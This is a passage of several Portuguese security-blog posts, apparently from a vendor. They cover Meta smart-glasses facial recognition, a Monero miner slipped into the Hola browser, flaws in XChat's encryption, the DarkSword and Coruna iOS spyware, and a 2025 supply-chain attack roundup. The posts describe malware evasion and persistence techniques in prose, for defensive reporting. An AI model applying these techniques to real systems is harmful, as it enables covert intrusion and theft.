No dia seguinte à publicação da reportagem da Wired, a Meta lançou uma nova versão do aplicativo, removendo praticamente todo o código relacionado ao NameTag. O vice-presidente de Comunicação da empresa, Andy Stone, reforçou a posição oficial, afirmando que os jornalistas deveriam desconsiderar as evidências de que tal funcionalidade existia. Enquanto isso, especialistas em privacidade alertaram que a Meta poderia restaurar o código do NameTag nos aplicativos dos usuários com a mesma facilidade com que o removeu. Ainda é cedo demais para baixar a guarda.
O Meta Fury é um dos modelos da nova linha Meta Glasses, com preço inicial de US$ 299. Diferentemente da maioria dos dispositivos anteriores da empresa, esses óculos são comercializados diretamente sob a marca Meta. Source
Algumas semanas depois, a Wired publicou outra reportagem reveladora sobre o NameTag e o reconhecimento facial. Os jornalistas conseguiram obter um contrato de licenciamento firmado entre a Meta e a Rank One Computing, empresa especializada em tecnologias de reconhecimento facial para órgãos policiais e agências militares dos Estados Unidos. Segundo a reportagem, entre seus clientes estariam o Naval Criminal Investigative Service (NCIS), o U.S. Special Operations Command (USSOCOM) e diversos departamentos de polícia.
A Meta adquiriu os direitos de uso da tecnologia de reconhecimento facial da Rank One Computing, incluindo seu sistema de “detecção de presença real”, capaz de distinguir uma pessoa real de uma fotografia, vídeo ou máscara. De acordo com os termos do contrato, o software pode operar com um banco de dados de até 10 milhões de perfis biométricos. Antes da remoção do NameTag, a Wired informou que a tecnologia de reconhecimento facial da Rank One Computing e seus componentes de software já estavam integrados ao aplicativo Meta AI, embora permanecessem inativos e indisponíveis aos usuários.
Há anos, o uso de tecnologias de reconhecimento facial por órgãos de segurança pública desperta intensos debates sobre os limites aceitáveis da vigilância. Por isso, a perspectiva de capacidades semelhantes chegarem a um dispositivo de consumo que qualquer pessoa possa comprar e utilizar é, para dizer o mínimo, controversa, especialmente quando ele pode associar o rosto de um desconhecido qualquer aos seus perfis digitais. Tanto a Meta quanto a Rank One Computing se recusaram a comentar a parceria.
O Meta Ray-Ban Display, o único modelo da linha equipado com câmera e visor integrado. Source
Como preservar o que resta da sua privacidade em um mundo distópico
A ideia de que tecnologias militares estejam sendo incorporadas a dispositivos de consumo já é suficiente para causar arrepios em qualquer pessoa. Infelizmente, precisamos encarar a realidade: proteger-se de óculos capazes de realizar reconhecimento facial será uma tarefa bastante difícil. Mas isso não significa que você não deva tentar.
O Nearby Glasses detecta os óculos da Meta e da Snap identificando os sinais Bluetooth que esses dispositivos transmitem para se comunicar com outros dispositivos. Evidentemente, esse método não é infalível e pode gerar alguns falsos positivos. Ainda assim, o aplicativo oferece um alerta útil de que pode haver, nas proximidades, um dispositivo capaz de gravar você discretamente e verificar o ambiente ao seu redor.
O aplicativo Nearby Glasses alerta os usuários sobre a presença de óculos inteligentes da Meta ou da Snap nas proximidades ao detectar os sinais Bluetooth emitidos por esses dispositivos. Source
Se você está especialmente preocupado com sua privacidade, instalar um aplicativo como esse é uma medida sensata. Ele pode ser especialmente útil para pessoas que pertencem a grupos mais vulneráveis, como vítimas de perseguição, profissionais do sexo ou imigrantes em situação irregular.
Para quem ainda não está pronto para adotar uma postura totalmente paranoica, recomendamos configurar suas contas da Meta como privadas. É verdade que isso não impedirá que os óculos inteligentes capturem seu rosto, nem representa uma proteção absoluta contra um eventual reconhecimento facial. No entanto, restringir o acesso às suas fotos, listas de contatos e outras informações pessoais reduz a quantidade de dados que poderiam ser usados para identificá-lo e traçar seu rastro digital.
Se você não tiver certeza de quão fortes são as configurações de segurança das suas redes sociais, recomendamos verificar nossa ferramenta on-line gratuita – a Privacy Checker. Ela oferece um passo a passo para ajustar as configurações de privacidade e segurança em redes sociais e plataformas digitais, ajudando a reduzir a quantidade de informações pessoais expostas online para que desconhecidos vejam.
No início de junho, pesquisadores de segurança cibernética descobriram que uma versão do navegador Hola para Windows, desenvolvido em Israel (1.251.91.0), baixava um minerador da criptomoeda Monero nos dispositivos dos usuários sem que eles soubessem. Logo após a descoberta, a Hola confirmou que havia sido vítima de um ataque à cadeia de suprimentos. Neste artigo, contamos como o ataque ocorreu, como funciona o minerador e o que isso significa para os usuários afetados.
O que é o navegador Hola e como o malware foi descoberto?
A empresa israelense Hola é mais conhecida por sua VPN, usada por usuários para contornar restrições geográficas e acessar conteúdo bloqueado em determinadas regiões. Além da VPN, a empresa desenvolveu o navegador Hola, que é baseado em Chromium e traz uma VPN integrada, além de recursos de proxy.
Os primeiros sinais de problemas foram detectados pelos pesquisadores durante uma verificação de conformidade padrão para o programa AppEsteem Windows Certified Application. Como parte da certificação, empresas independentes de segurança cibernética auditam os softwares para garantir que contenham apenas os componentes declarados, sem recursos indesejados ou maliciosos. Mesmo após receberem um certificado, os aplicativos são reavaliados regularmente para garantir que continuem atendendo às rígidas diretrizes da AppEsteem.
Foi durante uma verificação de acompanhamento de rotina que os especialistas notaram um arquivo não autorizado agrupado à versão 1.251.91.0 do navegador Hola para Windows. Após a instalação, o arquivo era salvo automaticamente no disco rígido em C:\Program Files\Hola\me{.}exe. Os pesquisadores logo consideraram o arquivo não confiável por vários indícios suspeitos: ele não constava na lista de arquivos de aplicativos aprovados, não tinha carimbo de data/hora nem assinatura digital. Além disso, o código estava bastante ofuscado, sendo capaz de se injetar diretamente na memória do sistema.
Porém, os pesquisadores notaram que o arquivo não estava presente em todas as instalações. Como a infecção não atingiu todos os usuários, os especialistas logo suspeitaram que uma etapa específica do pipeline de distribuição do navegador Hola havia sido comprometida. A Hola acabou confirmando essa teoria, admitindo que foi vítima de um ataque à cadeia de suprimentos.
Quanto ao próprio arquivo me{.}exe suspeito, uma análise mais detalhada revelou que se tratava de um minerador de criptomoedas furtivo configurado para minerar Monero. Vamos agora analisar os detalhes técnicos de como tudo aconteceu.
Como os invasores usaram o navegador Hola para minerar o Monero?
Os mineradores de criptomoedas são programas que aproveitam o poder de processamento de um computador para minerar criptomoedas. Embora alguns usuários instalem esses softwares voluntariamente, mineradores executados em uma máquina sem o conhecimento do proprietário são considerados indesejados.
A execução de um minerador oculto pode deixar um dispositivo muito mais lento, aumentar a conta de eletricidade do usuário e reduzir a vida útil do hardware. Dito isto, vale notar que a infecção de um dispositivo por um minerador não significa que as criptomoedas do proprietário serão roubadas; o dano limita-se ao consumo dos recursos de hardware, utilizados pelos invasores para obter ganho financeiro.
Conforme mencionado acima, o download malicioso incluído no navegador Hola inseriu um minerador da criptomoeda Monero nos dispositivos das vítimas. Lançado em 2014 e baseado no protocolo CryptoNote, o Monero atualmente é negociado a cerca de US$ 330 por unidade.
Comparado a moedas mais conhecidas, como Bitcoin ou Ethereum, o Monero é mais exótico e menos conhecido pelo público geral. Esse status de nicho reflete-se no aumento relativamente modesto do seu preço e em uma menor capitalização de mercado, sendo quase 200 vezes menor que a do Bitcoin. No entanto, o Monero tem um benefício que o destaca: a privacidade. Enquanto o Bitcoin e o Ethereum operam em blockchains públicas e transparentes, onde qualquer pessoa pode rastrear as transações, o Monero é uma “moeda de privacidade”. Ele usa mecanismos criptográficos avançados para ocultar o remetente, o destinatário e o valor da transação. Esse anonimato extremo é exatamente o motivo pelo qual os hackers preferem os mineradores ocultos de Monero, pois eles dificultam o rastreamento das transações por autoridades e profissionais de segurança cibernética.
Além disso, o algoritmo do Monero foi projetado para usar CPUs padrão de forma eficiente na mineração. Isso contrasta fortemente com muitas outras criptomoedas populares, que exigem hardware ASIC especializado ou GPUs de ponta para gerar lucro.
Mas vamos analisar melhor o caso do navegador Hola. Ao analisar o código me{.}exe malicioso, os pesquisadores descobriram que ele estava adicionando automaticamente seus próprios arquivos à lista de exclusão do Microsoft Defender. Ao entrar na lista de permissões, o malware contornou o antivírus do Windows, permitindo a execução do minerador de criptomoedas em segundo plano sem qualquer impedimento.
Então, o programa fez uma cópia de si mesmo sob o nome HolaMonitorService{.}exe e configurou um serviço persistente do Windows em segundo plano chamado hola_monitor_svc. Essa manobra permitiu que o malware se instalasse no sistema, sendo iniciado automaticamente sempre que o computador era reiniciado. Para evitar suspeitas por quedas de desempenho, o minerador permanecia inativo e era acionado apenas quando o computador estava ocioso.
Como proteger seu dispositivo contra mineradores de criptomoedas e malware
Felizmente, a equipe de desenvolvedores da Hola agiu rápido após a detecção do arquivo suspeito. Eles confirmaram a violação da cadeia de suprimentos, mas afirmaram que apenas 0,1% dos usuários foram afetados. Desde então, a empresa reforçou a segurança em torno do pipeline de distribuição de atualizações para garantir que os usuários recebam apenas componentes de software aprovados, certificados e contendo assinatura digital no futuro.
Devido a esse incidente, recomendamos que todos os usuários do navegador Hola o atualizem para a versão mais recente, especialmente aqueles que executam o aplicativo no Windows.
Essa situação é um exemplo clássico de por que é tão importante manter todos softwares atualizados e executar uma Home Security solução robusta de segurança cibernética em todos os seus gadgets. Por exemplo, o Kaspersky Premium fornece alertas em tempo real sobre comportamento suspeito de software e faz o bloqueio instantâneo de ameaças. Como um bônus adicional, a assinatura do Kaspersky Premium inclui uma VPN segura e confiável.
Lembre-se de que mineradores maliciosos de criptomoedas também atacam smartphones, disfarçando-se muitas vezes de jogos populares e até de aplicativos oficiais de serviços governamentais. Confira nossas postagens anteriores para saber mais:
Pavel Durov e seu aplicativo de mensagens “privadas” têm um novo rival: ninguém menos do que Elon Musk e seu XChat. Explicamos várias vezes no nosso blog que as alegações de Durov sobre a privacidade e a segurança do Telegram são exageradas, para dizer o mínimo. Aqui, vou apenas lembrar ao leitor que as conversas padrão (não secretas) no Telegram não são protegidas por criptografia de ponta a ponta, que é o requisito mínimo para que os dados do usuário permaneçam privados.
Mas voltemos a Musk. No final de abril de 2026, o aplicativo XChat foi lançado para usuários do iOS. O magnata da tecnologia vinha exaltando as qualidades do seu aplicativo de mensagens há muito tempo, alegando desde o início que se tratava de uma maneira incrivelmente privada e segura de se comunicar, representando uma ameaça direta ao Signal, WhatsApp, Telegram e iMessage. Hoje, analisamos se é prudente confiar nas <s>promessas de Musk</s> em relação a este novo serviço, detalhamos seus principais recursos e o comparamos à concorrência.
Criptografia no estilo Bitcoin
Musk falou sobre o XChat pela primeira vez em 1º de junho de 2025, naturalmente por meio da sua conta no X (o antigo Twitter). Quando um usuário perguntou quando o novo serviço seria lançado, Musk respondeu: “Essa semana, se não houver problemas de escalabilidade”.
Aparentemente, havia problemas de escalabilidade: a versão beta do aplicativo só foi lançada em setembro de 2025 e os usuários do iOS só obtiveram acesso total ao serviço em abril de 2026. Até o momento da publicação deste artigo, não havia informações sobre quando essa versão será lançada para o Android. Apesar disso, uma página do XChat já está ativa no Google Play, onde os usuários podem <s>enfileirar-se</s> para fazer um “pré-registro”, o que quer que isso signifique.
Mas, vamos voltar à postagem de Musk anunciando o XChat. Essa postagem específica chamou a atenção da comunidade de especialistas em privacidade e cibersegurança, e aqui está o motivo: o magnata da tecnologia informou que o serviço seria construído em uma “arquitetura totalmente nova” e apresentaria “criptografia no estilo Bitcoin”, além de ser escrito em Rust.
Elon Musk anuncia o lançamento do XChat, alegando que o novo aplicativo de mensagens é escrito em Rust e usa “criptografia no estilo Bitcoin”. Fonte
A comunidade de especialistas passou muito tempo tentando descobrir o que Musk quis dizer com isso. Afinal, o Bitcoin não é um sistema criptografado e anônimo de troca de dados. A blockchain utiliza chaves criptográficas públicas e privadas, mas para um propósito totalmente distinto: a assinatura de transações. Além disso, essas transações não estão escondidas de olhares indiscretos; elas estão disponíveis para qualquer um ver, para sempre. Simplificando: a fim de proteger os seus usuários, o Bitcoin não garante a privacidade deles, mas faz exatamente o oposto, ou seja, oferece transparência máxima.
É provável que Musk tenha usado a “criptografia no estilo Bitcoin” como uma estratégia de marketing. Na época do anúncio, o Bitcoin estava sendo negociado próximo de suas máximas históricas, e as criptomoedas dominavam as conversas. Tecnicamente, a versão beta do XChat, lançada em setembro de 2025, protegia as conversas dos usuários com um “tipo” de criptografia de ponta a ponta, mas isso foi implementado de uma forma que levantou sérias dúvidas entre os especialistas em criptografia.
E não sem uma razão. Normalmente, ao configurar um chat com criptografia de ponta a ponta, é gerado automaticamente um par de chaves criptográficas: uma pública e uma privada. A chave pública é usada para criptografar mensagens, enquanto a chave privada as descriptografa. Como outros usuários precisam da sua chave pública para iniciar uma conversa segura com você, essas chaves geralmente são armazenadas nos servidores do aplicativo.
A chave privada, no entanto, deveria ser armazenada somente no dispositivo do usuário, que é exatamente o que o Signal faz. Isso serve como uma garantia simples e firme de que nem a própria empresa nem qualquer terceiro que viole a infraestrutura dela possa acessar as conversas dos usuários, mesmo que realmente desejem.
Mas os projetos de Elon Musk seguem uma cartilha própria: os desenvolvedores do XChat decidiram que seria uma ótima ideia armazenar as chaves privadas dos usuários nos servidores do XChat. O X afirma que utilizará módulos de segurança de hardware (HSMs) para armazenar essas chaves privadas, dispositivos especializados projetados para impedir que até mesmo o proprietário do sistema tenha acesso fácil aos dados armazenados nele. No entanto, os especialistas também estão questionando a confiabilidade dessa configuração, e chegaram a uma conclusão sombria: se o X realmente quiser obter a chave privada de um usuário, é provável que consiga.
Entenda como as mensagens criptografadas do XChat funcionam na prática
Depois que os problemas de escalabilidade foram resolvidos quase um ano após o anúncio de Musk, o X lançou oficialmente o aplicativo XChat para iOS em abril de 2026. Agora, qualquer pessoa pode usá-lo. Mas do ponto de vista prático, a situação envolvendo conversas criptografadas parece ainda mais complicada do que no Telegram.
De acordo com a Central de Ajuda da rede social, para usar a criptografia de conversas de ponta a ponta no XChat, ambos os usuários devem ter uma conta no X e configurar o XChat. Além disso, deve haver algum tipo de conexão entre eles:
Seguir um ao outro ou estar inscrito na conta um do outro
Ter trocado mensagens anteriormente
Ter aceito uma solicitação de mensagem direta
Ser membros da mesma assinatura Premium Business/Premium Organization no X
Se os usuários não seguem um ao outro e não interagiram antes, pode ser que o XChat ainda permita que eles enviem uma solicitação de mensagem. No entanto, essa solicitação inicial não estará abrangida pela criptografia de ponta a ponta.
Pelo menos é assim que o processo é descrito na documentação da ajuda oficial do aplicativo de mensagens. Parece complicado demais? Não se preocupe: isso funciona de forma completamente diferente na prática. Ou melhor, não funciona. Eu consegui enviar uma mensagem para outro usuário que NÃO havia configurado o XChat. O aplicativo em si, é claro, não me avisou sobre isso.
O aplicativo permite iniciar uma conversa com um usuário que ainda nem configurou o XChat, sem qualquer aviso.
A história fica ainda melhor. O usuário para o qual eu enviei uma mensagem recebeu uma notificação na versão da Web do X, mas não conseguiu acessar a mensagem. Aqui está o motivo: antes de usar o XChat, é necessário criar um PIN de quatro dígitos. No entanto, o PIN é solicitado na primeira vez que o usuário tenta acessar o aplicativo, ou seja, antes mesmo dele ter a chance de criar um PIN. Além disso, o usuário recebe um aviso de que, sem o PIN, não será possível visualizar conversas anteriores criptografadas.
O usuário deve inserir um PIN para descriptografar mensagens anteriores antes mesmo de concluir a configuração inicial do XChat.
A única solução que encontrei para poder usar o XChat foi tocar em “Esqueceu o PIN?” (ainda que esse PIN nunca tenha existido), confirmar a minha identidade e criar um novo PIN (ou melhor, o primeiro). Conforme já mencionado, isso faz com que você perca o acesso ao histórico de conversas, não podendo ler nenhuma mensagem enviada a você no XChat antes de ter configurado oficialmente o aplicativo.
XChat: o novo Telegram, WhatsApp, Signal… ou talvez o novo Facebook Messenger?
Todos esses obstáculos com relação ao PIN existem por um motivo. Lembre-se, ao contrário do WhatsApp e do Signal, os desenvolvedores do XChat decidiram armazenar as chaves privadas dos usuários no próprio servidor do aplicativo. Sendo assim, o aplicativo usa esses PINs de quatro dígitos para criptografar essas chaves.
De acordo com a documentação da ajuda do XChat, esse mecanismo foi projetado para garantir a integração “perfeita” entre vários dispositivos. É difícil ignorar o fato de que WhatsApp e Signal resolveram esse problema sem recorrer a artifícios questionáveis, como requisitos de PIN ou o armazenamento de chaves privadas em servidores.
O problema é que soluções alternativas como essas invalidam qualquer alegação de privacidade e segurança do aplicativo. Um PIN (a principal solução alternativa adotada) não é considerado a maneira mais segura de proteger dados confidenciais. Mencionamos várias vezes que combinações de quatro dígitos são fáceis de decifrar usando técnicas de força bruta, especialmente porque o XChat oferece 20 tentativas generosas para inserir o código certo.
O aplicativo permite até 20 tentativas para inserir o PIN de quatro dígitos. Após o limite ser atingido, o XChat avisa que o acesso às mensagens será perdido permanentemente.
Como se não bastasse a implementação confusa de criptografia de ponta a ponta quando comparada à de outros aplicativos, a impressão geral é de que não faz sentido usar o XChat. Um jornalista da Wired fez um comentário certeiro: o aplicativo se parece mais com o Facebook Messenger do que com o WhatsApp, Signal ou Telegram. Mas enquanto as pessoas geralmente abrem o Messenger para ler mensagens enviadas pela mãe ou pela avó, o XChat parece destinado a três tipos de pessoas: as que querem investigar o seu sobrinho estranho que passa todo o tempo livre no X, as que ainda acreditam na promessa de US$ 500 mil em Bitcoin feita por John McAfee e fãs de Elon Musk.
Então, qual é a conclusão sobre o XChat?
A melhor maneira de encerrar esta postagem é com uma citação de um especialista em cibersegurança: “Se o que você busca é segurança, use o Signal. Se o que você quer é falar com praticamente qualquer pessoa usando mensagens criptografadas, use o WhatsApp. Se toda a sua vida gira em torno do X, suponho que isso seja melhor do que nada.”
Se você usar o XChat, a regra número um é não criar um PIN previsível: jamais use o ano do seu nascimento ou, pior, a sequência 1234. Também é importante não esquecer esse código, porque se isso acontecer, todo o seu histórico de conversas desaparecerá para sempre. Por fim, assim como acontece com suas outras senhas, você não deve armazená-la no aplicativo de notas, mas sim em um gerenciador de senhas seguro. Isso não apenas evitará que você tenha de memorizar dezenas de combinações de caracteres, como também reduzirá o risco de perder o acesso a dados e conversas importantes.
Para saber mais sobre mensagens seguras em outros aplicativos, confira nossas outras postagens:
O DarkSword e o Coruna são novas ferramentas utilizadas em ataques invisíveis a dispositivos iOS. Esses ataques não exigem interação do usuário e já estão sendo usados em larga escala por agentes mal-intencionados. Antes do surgimento dessas ameaças, a maioria dos usuários do iPhone não precisava se preocupar com a segurança de dados. Poucos grupos realmente se preocupavam com isso, como políticos, ativistas, diplomatas, executivos de negócios de alto nível e pessoas que lidam com dados extremamente confidenciais, já que eles poderiam vir a ser alvos de agências de inteligência estrangeiras. Já discutimos spywares avançados usados contra esses grupos anteriormente, e observamos como era raro encontrá-los.
No entanto, o DarkSword e o Coruna, descobertos por pesquisadores no início deste ano, são revolucionários. Esses malwares estão sendo usados em infecções em massa de usuários comuns. Nesta postagem, explicamos por que essa mudança ocorreu, os riscos dessas ferramentas e como se proteger.
O que sabemos sobre o DarkSword e como ele pode infectar o seu iPhone
Em meados de março de 2026, três equipes de pesquisa diferentes coordenaram a divulgação das suas descobertas sobre um novo spyware chamado de DarkSword. Essa ferramenta é capaz de invadir silenciosamente dispositivos com o iOS 18, sem que o usuário perceba que algo está errado.
Agora que isso já foi esclarecido, vamos voltar a falar sobre o DarkSword. A pesquisa mostra que esse malware infecta as vítimas quando elas visitam sites perfeitamente legítimos que contêm códigos maliciosos. O spyware se instala sem qualquer interação do usuário: basta acessar uma página comprometida. Isso é conhecido como técnica de infecção zero clique. Os pesquisadores relatam que milhares de dispositivos já foram infectados desta forma.
Para comprometer um dispositivo, o DarkSword usa uma cadeia de exploits com seis vulnerabilidades para evitar o sandbox, aumentar privilégios e executar código. Assim que o dispositivo é infectado, o malware consegue coletar dados, incluindo:
Senhas
Fotos
Conversas e dados do iMessage, WhatsApp e Telegram
Histórico do navegador
Informações dos aplicativos Calendário, Notas e Saúde da Apple
Além disso, o DarkSword coleta dados de carteiras de criptomoedas, atuando como malware de dupla finalidade para espionagem e roubo de criptoativos.
A única boa notícia é que o spyware não sobrevive a uma reinicialização. O DarkSword é um malware sem arquivo, o que significa que ele vive na RAM do dispositivo e nunca se incorpora ao sistema de arquivos.
Coruna: direcionado às versões mais antigas do iOS
Apenas duas semanas antes da descoberta do DarkSword se tornar pública, os pesquisadores revelaram outra ameaça que tinha o iOS como alvo, chamada de Coruna. Esse malware consegue comprometer dispositivos que executam softwares mais antigos, especificamente as versões 13 a 17.2.1 do iOS. O método utilizado pelo Coruna é exatamente igual ao do DarkSword: as vítimas visitam um site legítimo injetado com código malicioso que, em seguida, infecta o dispositivo delas com o malware. Todo o processo é completamente invisível e não requer interação do usuário.
Uma análise detalhada do código do Coruna revelou que ele explora 23 vulnerabilidades distintas do iOS, várias delas localizadas no WebKit da Apple. Vale lembrar que, de um modo geral (fora da UE), todos os navegadores iOS precisam usar o mecanismo WebKit. Isso significa que essas vulnerabilidades não afetam apenas os usuários do Safari, mas também qualquer pessoa que use outros navegadores no iPhone.
A versão mais recente do Coruna, assim como o DarkSword, inclui modificações projetadas para drenar carteiras de criptomoedas. Ele também coleta fotos e, em alguns casos, informações de e-mails. Ao que tudo indica, roubar criptomoedas parece ser o principal motivo da implementação generalizada do Coruna.
Quem criou o Coruna e o DarkSword, e como eles foram disseminados?
A análise do código de ambas as ferramentas sugere que o Coruna e o DarkSword provavelmente foram desenvolvidos por grupos diferentes. No entanto, ambos são softwares criados por empresas patrocinadas pelo governo, possivelmente dos EUA. Isso se reflete na alta qualidade do código: não são kits montados com partes aleatórias, mas exploits projetados de forma uniforme. Em algum momento, essas ferramentas vazaram e foram parar nas mãos de gangues de cibercriminosos.
Uma teoria sugere que um funcionário da empresa que desenvolveu o Coruna vendeu o malware para hackers. Desde então, ele tem sido usado para drenar carteiras de criptomoedas de usuários na China. Alguns especialistas estimam que pelo menos 42 mil dispositivos foram infectados somente neste país.
Quanto ao DarkSword, os cibercriminosos já o usaram para infectar dispositivos de usuários na Arábia Saudita, Turquia e Malásia. O problema se agrava pelo fato de que os invasores que implementaram o DarkSword deixaram o código-fonte completo nos sites infectados, facilitando a detecção dele por outros grupos criminosos.
O código também inclui comentários detalhados explicado exatamente o que faz cada componente, reforçando a hipótese de que ele surgiu no Ocidente. Essas instruções detalhadas tornam mais fácil para outros hackers adaptarem a ferramenta para interesses próprios.
Como se proteger do Coruna e do DarkSword
Dois malwares poderosos que permitem a infecção em massa de iPhones sem exigir qualquer interação do usuário caíram nas mãos de um grupo essencialmente ilimitado de cibercriminosos. Para ser infectado pelo Coruna ou pelo DarkSword, basta que você visite o site errado na hora errada. Portanto, este é um daqueles casos em que todos os usuários precisam levar a sério a segurança do iOS, não apenas aqueles que pertencem a grupos de alto risco.
A melhor coisa a fazer para se proteger do Coruna e do DarkSword é atualizar assim que possível os dispositivos para a versão mais recente do iOS ou do iPadOS 26. Se isso não for possível (por exemplo, se o dispositivo for mais antigo e não compatível com o iOS 26), ainda assim é recomendado baixar a versão mais recente disponível. Especificamente, procure as versões 15.8.7, 16.7.15 ou 18.7.7. A Apple aplicou correções em vários sistemas operacionais mais antigos, o que é raro.
Para proteger os dispositivos Apple contra malwares semelhantes que provavelmente aparecerão no futuro, recomendamos fazer o seguinte:
Instale as atualizações em todos os dispositivos da Apple o quanto antes. A empresa lança regularmente versões do SO que corrigem vulnerabilidades conhecidas. Não as ignore.
Ative a opção Otimização de segurança em segundo plano. Esse recurso permite que o dispositivo receba correções de segurança críticas além das atualizações completas do iOS, reduzindo o risco de exploração de vulnerabilidades pelos hackers. Para ativá-lo, vá para Configurações → Privacidade e segurança → Otimização de segurança em segundo plano e ative a opção Instalar automaticamente.
Considere usar o Modo de bloqueio. Essa é uma configuração de segurança reforçada que, apesar de limitar alguns recursos do dispositivo, bloqueia ou restringe ataques de forma significativa. Para ativá-lo, vá para Configurações → Privacidade e segurança → Modo de bloqueio → Ativar o Modo de bloqueio.
Reinicie o dispositivo uma vez por dia (ou mais). Isso interrompe a atuação de malwares sem arquivo, pois essas ameaças não são incorporadas ao sistema e desaparecem após a reinicialização.
Use o armazenamento criptografado para dados confidenciais. Mantenha chaves de carteiras de criptomoedas, fotos de documentos e dados confidenciais em um local seguro. Kaspersky Password Manager é uma ótima opção para isso, pois gerencia suas senhas, tokens de autenticação de dois fatores e chaves de acesso em todos os dispositivos, mantendo notas, fotos e documentos sincronizados e criptografados.
A ideia de que os dispositivos da Apple são à prova de balas é um mito. Eles são vulneráveis a ataques de zero clique, cavalos de Troia e técnicas de infecção ClickFix. Além disso, aplicativos maliciosos já foram encontrados na App Store mais de uma vez. Leia mais aqui:
Os ataques a cadeias de suprimentos têm sido uma das categorias mais perigosas de incidentes de cibersegurança há anos. Se o ano de 2025 nos ensinou alguma coisa, é que os cibercriminosos estão aumentando sua capacidade de ataque. Nesta análise detalhada, veremos ataques a cadeias de suprimentos realizados em 2025 que, embora não sejam os que causaram maiores prejuízos financeiros, certamente foram os mais incomuns e chamaram a atenção do setor.
Janeiro de 2025: um RAT encontrado no repositório do GitHub do DogWifTools
Como um “aquecimento” após o fim de ano, os cibercriminosos realizaram inúmeros ataques de backdoor a várias versões do DogWifTools. Trata-se de um utilitário projetado para lançar e promover vigorosamente moedas de meme baseadas em Solana no Pump.fun. Depois de comprometer o repositório privado do GitHub para o DogWifTools, os invasores esperaram os desenvolvedores carregarem uma nova versão do utilitário, injetaram um RAT nela e trocaram o programa legítimo por uma versão maliciosa apenas algumas horas depois. De acordo com os desenvolvedores, os agentes de ameaças instalaram com êxito as versões 1.6.3 a 1.6.6 do DogWifTools para Windows.
O golpe final foi dado no fim de janeiro. Depois de usar o RAT para coletar uma grande quantidade de dados dos dispositivos infectados, os invasores esvaziaram as carteiras de criptomoedas das vítimas. As vítimas estimaram o total de mais de USD 10 milhões em criptomoedas, mas os invasores contestaram esse número, embora não tenham revelado exatamente o valor total roubado.
Fevereiro de 2025: roubo de USD 1,5 bilhão do Bybit
Se janeiro foi só o aquecimento, o mês de fevereiro foi um colapso total. A invasão da plataforma de câmbio de criptomoedas Bybit superou completamente os incidentes anteriores, tornando-se o maior roubo de criptomoedas da história. Os invasores conseguiram comprometer o software Safe{Wallet}, a solução de armazenamento a frio de múltiplas assinaturas na qual a empresa confiava para gerenciar os seus ativos.
Os funcionários da Bybit pensaram que estavam assinando uma transação de rotina. Na realidade, eles estavam autorizando um contrato inteligente malicioso. Uma vez executado, ele esvaziou os fundos de uma carteira fria principal e os distribuiu em várias centenas de endereços controlados pelo invasor. A transferência final ultrapassou 400 mil ETH/stETH, com um impressionante valor total de aproximadamente… USD 1,5 bilhão!
Março de 2025: Coinbase é alvo de comprometimento em cascata do GitHub Actions
O ano de 2025 seguiu com um ataque sofisticado que usou o comprometimento de vários GitHub Actions, os padrões de fluxo de trabalho usados para automatizar tarefas de DevOps padrão, como seu principal mecanismo de entrega. Tudo começou com o roubo de um token de acesso pessoal pertencente a um mantenedor da ferramenta de análise SpotBugs. Usando esse ponto de apoio, os invasores publicaram um processo malicioso e conseguiram sequestrar um token de um mantenedor do fluxo de trabalho reviewdog/action-setup, que também estava envolvido no projeto.
A partir daí, eles comprometeram uma dependência, o fluxo de trabalho tj-actions/changed-files, modificando-o para executar um script Python malicioso. Esse script foi projetado para procurar segredos de alto valor, como chaves da AWS, do Azure e do Google Cloud, tokens do GitHub e do NPM, credenciais de banco de dados e chaves privadas do RSA. Por incrível que pareça, o script gravou tudo o que encontrou diretamente nos registros de compilação acessíveis ao público em geral. Isso significa que os dados vazados não estavam disponíveis apenas para os invasores, mas também para qualquer pessoa experiente o suficiente para acessá-los.
O alvo original dessa operação era um repositório pertencente à plataforma de câmbio de criptomoedas Coinbase. Felizmente, os desenvolvedores detectaram a ameaça a tempo e impediram o comprometimento. Ao que tudo indica, depois de perceberem que estavam prestes a perder o controle do pipeline tj-actions/changed-files, os invasores adotaram uma abordagem indiscriminada. Isso colocou 23 mil repositórios em risco de vazamento de segredos. No final, várias centenas desses repositórios realmente tiveram suas credenciais confidenciais expostas ao público.
Abril de 2025: um backdoor em 21 extensões do Magento
Em abril, uma infecção foi descoberta em um amplo conjunto de extensões do Magento, uma das plataformas mais populares para a criação de lojas on-line. O backdoor foi incorporado em 21 módulos desenvolvidos por três fornecedores: Tigren, Meetanshi e MGS. As extensões faziam parte da infraestrutura de várias centenas de empresas de comércio eletrônico, incluindo pelo menos uma corporação multinacional.
De acordo com os pesquisadores que o descobriram, o backdoor na verdade foi implantado em 2019. Em abril de 2025, os invasores o acionaram para comprometer sites e fazer o upload de web shells. Isso foi feito por meio de uma função incorporada nas extensões que executava um código arbitrário extraído de um arquivo de licença.
Por ironia, os módulos infectados incluíam o MGS GDPR e o Meetanshi CookieNotice. Como os nomes sugerem, essas extensões foram projetadas para ajudar os sites a cumprir os regulamentos de privacidade e processamento de dados dos usuários. Por fim, em vez de garantir a privacidade, o uso deles provavelmente levou ao roubo de dados e ativos financeiros do usuário por meio de skimming digital.
Maio de 2025: ransomware distribuído por meio de um MSP comprometido
Em maio, os agentes de ransomware da gangue DragonForce obtiveram acesso à infraestrutura de um provedor de serviços gerenciados (MSP) não identificado e a usaram para distribuir um ransomware e roubar dados das organizações clientes do MSP.
Ao que tudo indica, os invasores exploraram várias vulnerabilidades (incluindo uma falha crítica) no SimpleHelp, a ferramenta de monitoramento e gerenciamento remoto usada pelo MSP. Essas vulnerabilidades foram descobertas em 2024 e divulgadas publicamente e corrigidas em janeiro de 2025. Infelizmente, ficou claro que o MSP optou por não acelerar o processo de atualização, um atraso que a gangue do ransomware ficou mais do que feliz em explorar.
Junho de 2025: um backdoor em mais de uma dúzia de pacotes npm populares
No início do verão, os invasores invadiram a conta de um dos mantenedores da biblioteca Glustack e usaram um token de acesso roubado para injetar backdoors em 17 pacotes npm. O mais popular desses pacotes, @react-native-aria/interactions, ostentava 125 mil downloads semanais, enquanto todos os pacotes comprometidos combinados totalizaram mais de um milhão.
O que é particularmente interessante nesse caso são as etapas que os desenvolvedores do Glustack seguiram após o incidente: primeiro, eles restringiram o acesso ao repositório GitHub para contribuidores secundários; segundo, eles ativaram a autenticação de dois fatores (2FA) para publicar novas versões; e terceiro, eles prometeram implementar práticas de desenvolvimento seguras, como fluxo de trabalho baseado em pull requests, revisões sistemáticas de código, registro de auditorias e assim por diante. Em outras palavras, antes do incidente, um projeto com centenas de milhares de downloads semanais não tinha tais medidas em vigor.
Julho de 2025: pacotes npm populares infectados por meio de um ataque de phishing
